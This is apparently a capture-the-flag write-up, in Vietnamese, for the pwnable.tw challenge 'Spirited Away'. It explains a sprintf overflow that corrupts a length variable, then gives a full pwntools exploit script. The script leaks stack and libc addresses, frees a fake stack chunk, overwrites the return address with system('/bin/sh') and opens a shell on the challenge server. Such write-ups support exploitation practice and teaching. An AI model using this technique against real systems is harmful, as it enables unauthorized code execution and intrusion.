pwnable.tw

Spirited Away

Vuln: Chương trình sử dụng sprintf() cho ra chuỗi kết quả vượt quá kích thước buffer, gây buffer overflow ghi đè vào len, tiếp tục gây buffer overflow ở các buffer khác.

tl;dr: Buffer overflow rất tinh vi, check size buffer thật kỹ.

February 14, 2026 Easy

Recon

Mitigation

$ pwn checksec spirited_away
[*] '/home/hungnt/pwnable.tw/spirited-away/spirited_away'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
$ file spirited_away
spirited_away: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9e6cd4dbfea6557127f3e9a8d90e2fe46b21f842, not stripped

GLIBC Version

pwndbg> libc
libc: glibc
libc version: 2.23
linked: dynamically
URLs:
    project homepage:       https://sourceware.org/glibc/
    read the source:        https://elixir.bootlin.com/glibc/glibc-2.23/source
    download the archive:   https://ftp.gnu.org/gnu/libc/glibc-2.23.tar.gz
    git clone               https://sourceware.org/git/glibc.git
Mappings:
    libc is at:             0xf7d6f000
           /home/hungnt/pwnable.tw/spirited-away/libc_32.so.6
    ld is at:               0xf7f2b000
           /home/hungnt/pwnable.tw/spirited-away/ld-2.23.so
Symbolication:
    has exported symbols:  yes
    has internal symbols:  no
    has debug info:        no

Code

main()

int survey()
{
  char msg[56]; // [esp+10h] [ebp-E8h] BYREF
  size_t len; // [esp+48h] [ebp-B0h]
  size_t reason_len; // [esp+4Ch] [ebp-ACh]
  char comment[80]; // [esp+50h] [ebp-A8h] BYREF
  int age; // [esp+A0h] [ebp-58h] BYREF
  void *name; // [esp+A4h] [ebp-54h]
  char reason[80]; // [esp+A8h] [ebp-50h] BYREF

  len = 60;
  reason_len = 80;
again:
  memset(comment, 0, sizeof(comment));
  name = malloc(0x3Cu);
  printf("\nPlease enter your name: ");
  fflush(stdout);
  read(0, name, len);
  printf("Please enter your age: ");
  fflush(stdout);
  __isoc99_scanf("%d", &age);
  printf("Why did you came to see this movie? ");
  fflush(stdout);
  read(0, reason, reason_len);
  fflush(stdout);
  printf("Please enter your comment: ");
  fflush(stdout);
  read(0, comment, len);
  ++cnt;
  printf("Name: %s\n", (const char *)name);
  printf("Age: %d\n", age);
  printf("Reason: %s\n", reason);
  printf("Comment: %s\n\n", comment);
  fflush(stdout);
  sprintf(msg, "%d comment so far. We will review them as soon as we can", cnt);
  puts(msg);
  puts(&s);
  fflush(stdout);
  if ( cnt > 199 )
  {
    puts("200 comments is enough!");
    fflush(stdout);
    exit(0);
  }
  while ( 1 )
  {
    printf("Would you like to leave another comment? <y/n>: ");
    fflush(stdout);
    read(0, &choice, 3u);
    if ( choice == 'Y' || choice == 'y' )
    {
      free(name);
      goto again;
    }
    if ( choice == 'N' || choice == 'n' )
      break;
    puts("Wrong choice.");
    fflush(stdout);
  }
  puts("Bye!");
  return fflush(stdout);
}

Solve

msg chỉ có độ rộng 56 bytes, nhưng ở đây:

sprintf(msg, "%d comment so far. We will review them as soon as we can", cnt);

Nếu số comment tăng đến 2 chữ số, thông báo vượt quá 56 bytes, gây buffer overflow, ghi đè vào len.

len có giá trị lớn hơn dự định, dẫn đến overflow khi nhập comment, có thể ghi name trỏ đến địa chỉ bất kỳ.

Vì overflow ko đến đc return address trực tiếp, ý tưởng của mình là leak địa chỉ stack và libc, sau đó tạo một fake heap chunk ở trên stack ở gần return address, ghi địa chỉ của fake chunk vào name, free chunk đó, lần malloc sau sẽ cấp phát main đến địa chỉ đó và mình có thể ghi đè return address.

Script

#!/usr/bin/env python3

from pwn import *

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda len=1, c=b'A': c * len

exe = ELF("spirited_away_patched", checksec=False)
libc = ELF("libc_32.so.6", checksec=False)
ld = ELF("./ld-2.23.so", checksec=False)

context.terminal = ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe", "-w", "0", "split-pane", "-V", "-s", "0.5", "wsl.exe", "-d", "Ubuntu-24.04", "bash", "-c"]
context.binary = exe

gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
# b *0x8048643
# b *0x0804878A
b *0x080488C9
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        sleep(0.1)
        return p
    else:
        host = "chall.pwnable.tw"
        port = 10204
        return remote(host, port)

p = conn()

def input_data(name, age, reason, comment):
    if len(name):
        sa(p, b'name', name)
        sleep(0.01)
    slan(p, b'age', age)
    sa(p, b'movie?', reason)
    sleep(0.01)
    if len(comment):
        sa(p, b'comment', comment)
        sleep(0.01)

print("Leaking stack and libc address")
input_data(b'A', -1, pad(80), b'A')
ru(p, pad(80))

stack = leak_bytes(rn(p, 4))
lg("stack", stack)

rn(p, 4)

libc.address = leak_bytes(rn(p, 4), libc.symbols['_IO_2_1_stdout_'])
lg("libc base", libc.address)

sla(p, b'<y/n>', b'y')

print("Overflow to overwrite len")
for i in range(9):
    input_data(pad(60), -1, pad(80), pad(60))
    sla(p, b'<y/n>', b'y')
    sleep(0.01)

for i in range(90):
    input_data(b'', -1, pad(80), b'')
    sla(p, b'<y/n>', b'y')
    sleep(0.01)

print("Fake heap layout on stack to free it")
heap_layout = flat(
    0, 0x41,
    p32(0) * 14,
    0, 0x11,
)

if args.GDB:
    gdb.attach(p, gdbscript=gdbscript)
    sleep(1)

layout_addr = stack - 0x68
input_data(b'A', -1, heap_layout, pad(84) + p32(layout_addr))

sla(p, b'<y/n>', b'y')

print("Allocate heap chunk on stack to overwrite return address")
pl = flat(
    pad(0x4c),
    libc.symbols['system'],
    pad(4),
    binsh(libc)
)
input_data(pl, -1, b'A', b'A')

print("Spawn shell")
sla(p, b'<y/n>', b'n')
rr(p, 1)
ia(p)